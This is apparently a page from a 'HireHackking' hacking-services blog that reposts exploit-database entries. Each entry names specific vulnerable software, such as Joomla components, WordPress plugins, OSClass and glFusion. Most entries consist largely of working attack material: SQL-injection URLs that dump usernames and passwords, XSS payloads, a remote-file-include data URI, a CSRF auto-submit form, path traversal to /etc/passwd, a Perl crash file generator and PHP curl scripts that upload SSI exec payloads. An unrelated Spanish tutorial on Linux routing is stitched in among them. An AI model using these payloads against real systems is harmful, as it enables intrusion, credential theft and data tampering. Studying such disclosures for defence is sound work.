Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863147346

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
source: https://www.securityfocus.com/bid/51674/info

The 'com_products' component for Joomla! is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/index.php?option=com_products&task=category&catid=[SQL Injection]
http://www.example.com/index.php?option=com_products&id=[SQL Injection]
http://www.example.com/index.php?option=com_products&catid=[SQL Injection]
http://www.example.com/index.php?option=com_products&product_id=[SQL Injection]
http://www.example.com/index.php?option=com_products&task=detail&parent_id=[SQL Injection]
http://www.example.com/index.php?option=com_products&task=edit_productdetail&id_pro=[SQL Injection]
http://www.example.com/index.php?option=com_products&Itemid=53&controller=home&task=displayitem&itemcode=[SQL Injection]
http://www.example.com/index.php?option=com_products&catid=1&Cat[]=[SQL Injection]
http://www.example.com/index.php?option=com_products&cid=[SQL Injection]
http://www.example.com/index.php?option=com_products&view=products&id=19&cat=[SQL Injection]
http://www.example.com/index.php?option=com_products&task=product&pid=[SQL Injection]
http://www.example.com/index.php?option=com_products&Itemid=[SQL Injection]
HireHackking 
source: https://www.securityfocus.com/bid/51699/info

xClick Cart is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

xClick Cart versions 1.0.1 and 1.0.2 are affected; other versions may also be vulnerable. 

http://www.example.com/pages/cart/webscr.php?cmd=_cart&ew=1&item_name=Scrimshaw+Kit&item_number=SK1&amount=25.00&quantity=1&shipping=&tax=0&shopping_url=%27;alert%28String.fromCharCode%2888,83,83%29%29//\%27;alert%28String.fromCharCode%2888,83,83%29%29//%22;alert%28String.fromCharCode%2888,83,83%29%29//\%22;alert%28String.fromCharCode%2888,83,83%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2888,83,83%29%29%3C/SCRIPT%3E
HireHackking 
source: https://www.securityfocus.com/bid/51678/info

Slideshow Gallery for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/wp-content/plugins/slideshow-gallery-2/css/gallery-css.php?1=1&resizeimages=Y&width=586&height=586&border='"--></style></script><script>Pwned by brethawk(0x000178)</script>
HireHackking 
source: https://www.securityfocus.com/bid/51710/info

Wireshark is prone to a buffer-underflow vulnerability and multiple denial-of-service vulnerabilities.

Remote attackers can exploit these issues to execute arbitrary code in the context of the application or cause denial-of-service conditions.

Wireshark versions 1.4.0 through 1.4.10 and 1.6.0 through 1.6.4 are vulnerable. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/36633.zip
HireHackking 
source: https://www.securityfocus.com/bid/51673/info

The 'com_motor' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

 http://www.example.com/index.php?option=com_motor&controller=motor&task=edit&cid[0]=[SQL Injection]
HireHackking 
source: https://www.securityfocus.com/bid/51672/info

vBadvanced CMPS is prone to a remote file-include vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to execute arbitrary local and remote scripts in the context of the affected application or obtain potentially sensitive information. This may result in a compromise of the application and the underlying system; other attacks are also possible.

vBadvanced CMPS 3.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=data:;base64,PD9waHAgcGhwaW5mbygpO29iX2VuZF9mbHVzaCgpO2V4aXQ7Pz4=

http://www.example.com/vb/includes/vba_cmps_include_bottom.php?pages[pageid]=123&allowview=123&pages[type]=php_file&vba_cusmodid=123&pages[template]=ftp://user:pass@127.0.0.1/123.txt
HireHackking 
source: https://www.securityfocus.com/bid/51662/info
 
OSClass is prone to SQL-injection and cross-site scripting vulnerabilities.
 
Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
OSClass 2.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=search&sCity=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/scrip t%3E

http://www.example.com/index.php?page=search&sPattern=%3C/title%3E%3Cscript%3Ealert%28document.cookie%29; %3C/script%3E

http://www.example.com/index.php?page=search&sPriceMax=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E

http://www.example.com/index.php?page=search&sPriceMin=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/s cript%3E
HireHackking 
source: https://www.securityfocus.com/bid/51671/info

DClassifieds is prone to a cross-site request-forgery vulnerability.

Exploiting this issue may allow a remote attacker to perform certain administrative actions and gain unauthorized access to the affected application. Other attacks are also possible.

DClassifieds 0.1 final is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/settings/update/id/4" method="post">
<input type="hidden" name="Settings[setting_name]" value="CONTACT_EMAIL">
<input type="hidden" name="Settings[setting_value]" value="hacker@mail.com">
<input type="hidden" name="Settings[setting_description]" value="Contact email">

<input type="hidden" name="Settings[setting_show_in_admin]" value="1">

<input type="hidden" name="yt0" value="Save">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
HireHackking 
source: https://www.securityfocus.com/bid/51662/info

OSClass is prone to SQL-injection and cross-site scripting vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OSClass 2.3.3 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?page=search&sCategory[]=0%27%20OR%20%28SELECT%20MID%28version%28%29,1,1% 29%29=5%29%20d%20--%202
HireHackking 
source: https://www.securityfocus.com/bid/51657/info

The 'com_jesubmit' component for Joomla! is prone to a vulnerability that lets attackers upload arbitrary files because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

http://www.example.com/index.php?option=com_jesubmit&view=jesubmit&Itemid=[id]&lang=en
HireHackking 
source: https://www.securityfocus.com/bid/51652/info

UltraPlayer is prone to a denial-of-service vulnerability.

Attackers can exploit this issue to crash the affected application, denying service to legitimate users.

UltraPlayer 2.112 is vulnerable; other versions may also be affected. 

#!/usr/bin/perl
sub logo {
print STDERR << "EOF";
                                                                   
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

EOF
}
####
# Title : UltraPlayer v2.112 (.avi) Local Crash p0c Exploit
# Author : KedAns-Dz
# E-mail : ked-h@hotmail.com (ked-h@1337day.com) | ked-h@exploit-id.com | kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com
# Facebook : http://facebook.com/KedAns 
# platform : windows ( Dos/p0c )
# Type : local exploit / p0c 4 Crash !!
#####

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE  .. |
# | ------------------------------------------------- < |
###

logo();
sleep(2);
my $PoC = "\x4D\x41\x43\x20\x96\x0f\x00\x00\x34\x00\x00\x00\x18\x00\x00\x00";
open (FILE,">> KedAns.avi"); # Bad File Here
print FILE $PoC;
close (FILE);

# sP^tHanX & Gr33tZ t0 : Omar (www.l3b-r1z.com) | And My fr!ndS 0n HMD ^___^ <3 <3

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy 
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * Kalashinkov3 * SeeMe * ZoRLu * anT!-Tr0J4n
# Anjel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#=================================================================================================
HireHackking 
source: https://www.securityfocus.com/bid/51653/info

Ultimate Locator is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/locator/results_list.php?order=id&pageno=2&showsurrounding=1&zip=94102&zipsearch=Go&radius=-50 UNION ALL SELECT 1,2,3,4,5,6,7,group_concat(username,0x3a,password) FROM login--
HireHackking 
source: https://www.securityfocus.com/bid/51649/info

YouSayToo auto-publishing for WordPress is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YouSayToo auto-publishing 1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/wp-content/plugins/yousaytoo-auto-publishing-plugin/yousaytoo.php?submit=[xss]
HireHackking

glFusion 1.x - SQL Injection 

source: https://www.securityfocus.com/bid/51650/info

glFusion is prone to multiple SQL-injection vulnerabilities and an arbitrary-file-upload vulnerability because it fails to sanitize user-supplied data.

Exploiting these issues could allow an attacker to compromise the application, execute arbitrary code, access or modify data, or exploit latent vulnerabilities in the underlying database.

glFusion 1.2.2 is vulnerable; other versions may also be affected. 

http://www.example.com/[path]/profiles.php?sid=-1+UNION+SELECT+1,2,3,4,5,version(),NULL,6--
http://www.example.com/[path]/article.php?story='1 AND 2=-1 UNION SELECT 1,2,3,4,5,version(),NULL,6--
HireHackking 
+------------------------------------------------------------------------------------------------------+
+ Ericsson Drutt MSDP (Instance Monitor) - Directory Traversal Vulnerability and Arbitrary File Access +
+------------------------------------------------------------------------------------------------------+
Affected Product: Ericsson Drutt MSDP (Instance Monitor)
Vendor Homepage  : www.ericsson.com
Version    : 4, 5 and 6 
CVE v2 Vector  : AV:N/AC:L/Au:N/C:P/I:N/A:N
CVE    : CVE-2015-2166
Discovered by  : Anastasios Monachos (secuid0) - [anastasiosm (at) gmail (dot) com]
Patched    : Yes

+-------------+
+ Description +
+-------------+
Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on- and off-portal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.

The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system. 

+----------------------+
+ Exploitation Details +
+----------------------+
This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s):

  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc/passwd
  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fopt/drutt/msdp/manager/conf/props/msdp-users.properties
  http://<drutt>:<port>/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f/opt/drutt/msdp/manager/conf/ccContext.properties

+---------------------+
+ Disclosure Timeline +
+---------------------+
17.Feb.2015 - Contacted Ericsson http://www.ericsson.com/feedback
24.Feb.2015 - Ericsson responded with point of contact at Corporate Security Office
24.Feb.2015 - Contacted Corporate Security Office team
02.Mar.2015 - Ericsson Product Security Incident Response Team reverted via a secure channel
02.Mar.2015 - Shared vulnerability details
06.Mar.2015 - Ericsson confirmed the validity of the issues and started developing the patches
08.Mar.2015 - Agreed on public disclosure timelines
12.Mar.2015 - Patches released
31.Mar.2015 - Public disclosure
HireHackking 
Title: Remote file upload vulnerability in wordpress plugin videowhisper-video-presentation v3.31.17
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: https://wordpress.org/plugins/videowhisper-video-presentation/
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-31 won’t fix, http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Advisory: http://www.vapid.dhs.org/advisory.php?v=117
Description: from the site 
"VideoWhisper Video Consultation is a web based video communication solution designed for online video consultations, interactive live presentations, trainings, webinars, coaching and online collaboration with webcam support. Read more on WordPress Video Presentation plugin home page."

Vulnerability:
From wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a file name to match which types are allowed. Because of this .shtml can be passed through and remote code execution if SSI is allowed. The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting wordpress site: .shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps 
The 
if (strstr($filename,'.php')) exit; 

can be by passed by using the extension .Php but the file extension check would allow files like test.Php.shtml
<?php 
if ($_GET["room"]) $room=$_GET["room"]; 
if ($_POST["room"]) $room=$_POST["room"]; 
$filename=$_FILES['vw_file']['name']; 
include_once("incsan.php"); 
sanV($room); 
if (!$room) exit; 
sanV($filename);
if (!$filename) exit; 
if (strstr($filename,'.php')) exit; //do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit; 
if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 
$destination="uploads/".$room."/“; 
if ($_GET["slides"]) $destination .= "slides/“; 
$ext=strtolower(substr($filename,-4)); $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps”);
if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename); 
?>loadstatus=1
CVEID: TBD
OSVDB: TBD
Exploit Code:
  videowhis_poc.php 
        <?php
    
   $uploadfile="upexp.shtml";
   $ch = 
   curl_init("http://target_site/wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php");
   curl_setopt($ch, CURLOPT_POST, true);
   curl_setopt($ch, CURLOPT_POSTFIELDS,
            array('vw_file'=>"@$uploadfile",'name'=>'upexp.shtml','room'=>'.'));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   $postResult = curl_exec($ch);
   curl_close($ch);
   print "$postResult";
    
   ?>
    
    
   upexp.shtml
    
   <html>
    
   <!--#exec cmd="/usr/bin/date > /tmp/p" -->
    
   this is html
   </html>
    
    
   The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads
HireHackking 
Title: Remote file upload vulnerability in videowhisper-video-conference-integration wordpress plugin v4.91.8
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: https://wordpress.org/support/plugin/videowhisper-video-conference-integration
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-31, won’t fix. http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Advisory: http://www.vapid.dhs.org/advisory.php?v=116
Description: From their site "VideoWhisper Video Conference is a modern web based multiple way video chat and real time file sharing tool.  Read more on WordPress Video Conference plugin home page."

Vulnerability:
./videowhisper-video-conference-integration/vc/vw_upload.php Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a file name to match which types are allowed. Because of this .shtml can be passed through and remote code execution is SSI is allowed. The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting wordpress site: 

.shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps The
if (strstr($filename,'.php')) exit;
can be by passed by using the extension .Php but the file extension check would allow files like test.Php.shtml

./videowhisper-video-conference-integration/vc/vw_upload.php

<?php 
if ($_GET["room"]) $room=$_GET["room"]; 
if ($_POST["room"]) $room=$_POST["room"]; 

$filename=$_FILES['vw_file']['name’];
include_once("incsan.php"); 
sanV($room);
if (!$room) exit; 
sanV($filename); 
if (!$filename) exit; 
if (strstr($filename,'.php')) exit; //do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit; 
if ( strstr($filename,"/") || strstr($filename,"..") ) exit; 
$destination="uploads/".$room."/“; 
if ($_GET["slides"]) $destination .= "slides/“;
$ext=strtolower(substr($filename,-4)); $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps”);
if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename);
?>loadstatus=1

CVEID: TBD
OSVDB: TBD

Exploit Code:
   videowhisp_poc.php 

   <?php
    
   $uploadfile="upexp.shtml";
   $ch = 
   curl_init("http://target_site/wp-content/plugins/videowhisper-video-conference-integration/vc/vw_upload.php");
        curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS,
             array('vw_file'=>"@$uploadfile",'name'=>'upexp.shtml','room'=>'.'));
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   $postResult = curl_exec($ch);
   curl_close($ch);
   print "$postResult";
    
   ?>
    
   upexp.shtml
    
   <html>
    
   <!--#exec cmd="/usr/bin/date > /tmp/p" -->
    
   this is html
   </html>
    
    
   The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads
HireHackking 
#Vulnerability title: Wordpress plugin Simple Ads Manager - Information Disclosure
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94 and 2.5.96
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID:  CVE-2015-2826
#Author: Nguyen Hung Tuan (tuan.h.nguyen@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 17

action=load_users



+ Function list: load_users, load_authors, load_cats, load_tags, load_posts, posts_debug, load_stats,...
+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php
+ Image: http://www.itas.vn/uploads/newsother/disclosure.png

+ REFERENCE: 
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en
HireHackking 
######################################################################
#  _     ___  _   _  ____  ____    _  _____
#  | |   / _ \| \ | |/ ___|/ ___|  / \|_   _|
#  | |  | | | |  \| | |  _| |     / _ \ | |
#  | |__| |_| | |\  | |_| | |___ / ___ \| |
#  |_____\___/|_| \_|\____|\____/_/   \_\_|
#
# phpSFP - Schedule Facebook Posts 1.5.6 SQL Injection (0-day)
# Website : http://codecanyon.net/item/phpsfp-schedule-facebook-posts/5177393
# Exploit Author : @u0x (Pichaya Morimoto)
# Release dates : April 2, 2015
#
# Special Thanks to 2600 Thailand group:
# xelenonz, pe3z, anidear, windows98se, icheernoom, penguinarmy
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
########################################################################

[+] Description
============================================================
phpSFP – is a Platform where you can easily manage your scheduling for
all your (Facebook) pages & groups in one place.
It helps to send messages, ads, events, news and so on. phpSFP is
pretty popular more than its sale record thanks to nulled group
(underground WebApp license crackers).

[+] Background <3
============================================================
I managed to track down a group of Vietnam-based Facebook spammer
which posted ads on many FB groups I'm joined.
And ended up with a website that is modified version (all phpSFP
credits are removed) of phpSFP 1.4.1.
so I did some matching and found the original application is phpSFP.

Guess what happens when spammer mess up with offsec guy ;)

[+] Exploit
============================================================
There are many possible ways to do SQLi, I will go with error-based
which enabled by default on phpSFP xD

$ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or
extractvalue(rand(),concat(0x2e,user())) or '1|||1"

in case you don't know, for further queries you have to change
'user()' to something else, e.g.

$ curl http://path.to.phpsfp/index.php/login  -b "login=1|||1' or
extractvalue(rand(),concat(0x2e,(select
concat_ws(0x3a,username,password) from users limit 1))) or '1|||2"

don't forgot to do length()/substr() stuffs due to limitation of 32
characters in error message


[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7

GET /index.php/login HTTP/1.1
Host: 192.168.33.103
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
Cookie: login=1|||1' or extractvalue(rand(),concat(0x2e,(select
concat_ws(0x3a,username,password) from users limit 1))) or '1|||2

HTTP/1.1 500 Internal Server Error
Server: Apache/2.4.7 (Ubuntu)
Date: Thu, 02 Apr 2015 13:15:08 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
Set-Cookie: ci_session=<deducted>; expires=Sat, 01-Apr-2017 13:15:08
GMT; Max-Age=63072000; path=/
Content-Length: 838

<html>
<head>
<title>Database Error</title>
<style type="text/css">
....
<h1>A Database Error Occurred</h1>
		<p>Error Number: 1105</p><p>XPATH syntax error:
'admin:f0250d9b38c974122119abf826'</p><p>
....


[+] Vulnerability Analysis
============================================================
I have analyzed on 1.5.6 (lastest version) and 1.4.1 (a popular
edition released by nulled group)
The bug itself is quite interesting.. the author did well in login
function but failed
to parameterized/escape SQL query in 'remember me' function in
authentication phrase.

; phpSFP 1.5.6
File: application/models/auth.php
    function cookie()
    {
        if(get_cookie('login')) <-- if 'login' cookie is setted
        {
            list($id_user, $password, $access) = explode("|||",
get_cookie('login')); <-- split by |||
            // the magic happens here
            $qusers = $this->db->query("SELECT id FROM users WHERE
id='".$id_user."' AND password='".$password."'");

; phpSFP 1.4.1, same thing but in different file
File: application/controllers/login.php
    public function index()
    {
        if(get_cookie('login')) <-- if 'login' cookie is setted
        {
            list($id_user, $password, $access) = explode("|||",
get_cookie('login')); <-- split by |||
            // the magic happens here
            $qusers = $this->db->query("SELECT id FROM users WHERE
id='".$id_user."' AND password='".$password."'");
HireHackking

Podemos configurar un Linux como router de forma bastante sencilla. La idea, es comprobar si en la máquina Linux que usaremos como router, está el IP Forwarding activado, que es lo que permite el reenvío de paquetes. Por defecto, esta configuración estará desactivada.

Para este post estaremos usando las siguientes máquinas:

  • 3 Equipos:
    • Kali –> Mi equipo de atacante
      • IP: 192.168.10.10
    • Debian 1 –> Actuará como Router
      • IP: 192.168.10.20 y 192.168.20.10 –> 2 Interfaces de Red
    • Debian 2 –> Servidor Apache 2 activado
      • IP: 192.168.20.20
configurar linux como router portada

Para comprobarlo, tendremos que mirar el contenido del archivo /proc/sys/net/ipv4/ip_forward.

image 32

Si está desactivado, el contenido será 0, por lo que, si queremos activarlo, tendremos que modificar su contenido a 1:

echo '1' > /proc/sys/net/ipv4/ip_forward

image 33

Teniendo este valor activado en el Debian 1, ya solo queda agregar el enrutamiento estático.

¡OJO!, importante, tendremos que agregar la ruta estática por supuesto a nuestro kali, pero no olvidemos que también tendremos que agregarla a la máquina con la que queramos interactuar de la otra red (Debian 2), para que las respuestas sepan llegar a nosotros.

Podemos ver las rutas estáticas con el siguiente comando:

image 34

Podemos agregar y eliminar rutas estáticas a nuestro antojo con los siguientes comandos (hace falta root):

  • Agregar:

ip route add <ip de red a llegar>/<mascara de red en CIDR> via <ip del router> dev <interfaz a usar>

  • Eliminar:

ip route delete <ip de red a llegar>/<mascara de red en CIDR> via <ip del router> dev <interfaz a usar>

De esta forma, en este caso, las rutas a agregar tanto en el Kali como en el Debian 2, serían las siguientes:

  • Kali:
image 35
  • Debian 2:
image 36

Teniendo el IP Forwarding ya activado en el Debian 1 y las rutas estáticas tanto en el Kali como en el Debian 2, ya podemos comunicarnos entre estos dos dispositivos sin ningún tipo de problema:

image 37
image 38
image 39

Y con esto ya habríamos configurado un Linux como router, además de hacer uso de ip route para agregar rutas que no tenemos de forma por defecto.

HireHackking 
#Vulnerability title: Wordpress plugin Simple Ads Manager - Arbitrary File Upload
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID: CVE-2015-2825
#Author: Tran Dinh Tien (tien.d.tran@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

+ REQUEST
POST /wp-content/plugins/simple-ads-manager/sam-ajax-admin.php HTTP/1.1
Host: targer.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Type: multipart/form-data; boundary=---------------------------108989518220095255551617421026
Content-Length: 683

-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="uploadfile"; filename="info.php"
Content-Type: application/x-php

<?php phpinfo(); ?>
-----------------------------108989518220095255551617421026
Content-Disposition: form-data; name="action"

upload_ad_image
-----------------------------108989518220095255551617421026—


+ Vulnerable file: simple-ads-manager/sam-ajax-admin.php

+ Vulnerable code: from line 303 to 314

    case 'sam_ajax_upload_ad_image':
      if(isset($_POST['path'])) {
        $uploadDir = $_POST['path'];
        $file = $uploadDir . basename($_FILES['uploadfile']['name']);

        if ( move_uploaded_file( $_FILES['uploadfile']['tmp_name'], $file )) {
          $out = array('status' => "success");
        } else {
          $out = array('status' => "error");
        }
      }
      break;
	  
	  
+ REFERENCE: 
- http://www.itas.vn/news/ITAS-Team-found-out-multiple-critical-vulnerabilities-in-Hakin9-IT-Security-Magazine-78.html?language=en
- https://www.youtube.com/watch?v=8IU9EtUTkxI
HireHackking 
#Vulnerability title: Wordpress plugin Simple Ads Manager - SQL Injection
#Product: Wordpress plugin Simple Ads Manager
#Vendor: https://profiles.wordpress.org/minimus/
#Affected version: Simple Ads Manager 2.5.94 and 2.5.96
#Download link: https://wordpress.org/plugins/simple-ads-manager/
#CVE ID: CVE-2015-2824
#Author: Le Hong Minh (minh.h.le@itas.vn) & ITAS Team


::PROOF OF CONCEPT::

---SQL INJECTION 1---

+ REQUEST:

POST /wp-content/plugins/simple-ads-manager/sam-ajax.php HTTP/1.1
Host: target.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:30.0) Gecko/20100101 Firefox/28.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://target.com/archives/wordpress-plugin-simple-ads-manager/
Content-Length: 270
Cookie: wooTracker=cx5qN1BQ4nmu; _ga=GA1.2.344989027.1425640938; PHPSESSID=kqvtir87g33e2ujkc290l5bmm7; cre_datacookie=8405688a-3dec-4d02-9405-68f53281e991; _gat=1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

action=sam_hits&hits%5B0%5D%5B%5D=<SQL INJECTION HERE>&hits%5B1%5D%5B%5D=<SQL INJECTION HERE>&hits%5B2%5D%5B%5D=<SQL INJECTION HERE>&level=3


- Vulnerable file: simple-ads-manager/sam-ajax.php
- Vulnerable code:

	  case 'sam_ajax_sam_hits':
		  if(isset($_POST['hits']) && is_array($_POST['hits'])) {
			  $hits = $_POST['hits'];
			  $values = '';
			  $remoteAddr = $_SERVER['REMOTE_ADDR'];
			  foreach($hits as $hit) {
				  $values .= ((empty($values)) ? '' : ', ') . "({$hit[1]}, {$hit[0]}, NOW(), 0, \"{$remoteAddr}\")";
			  }
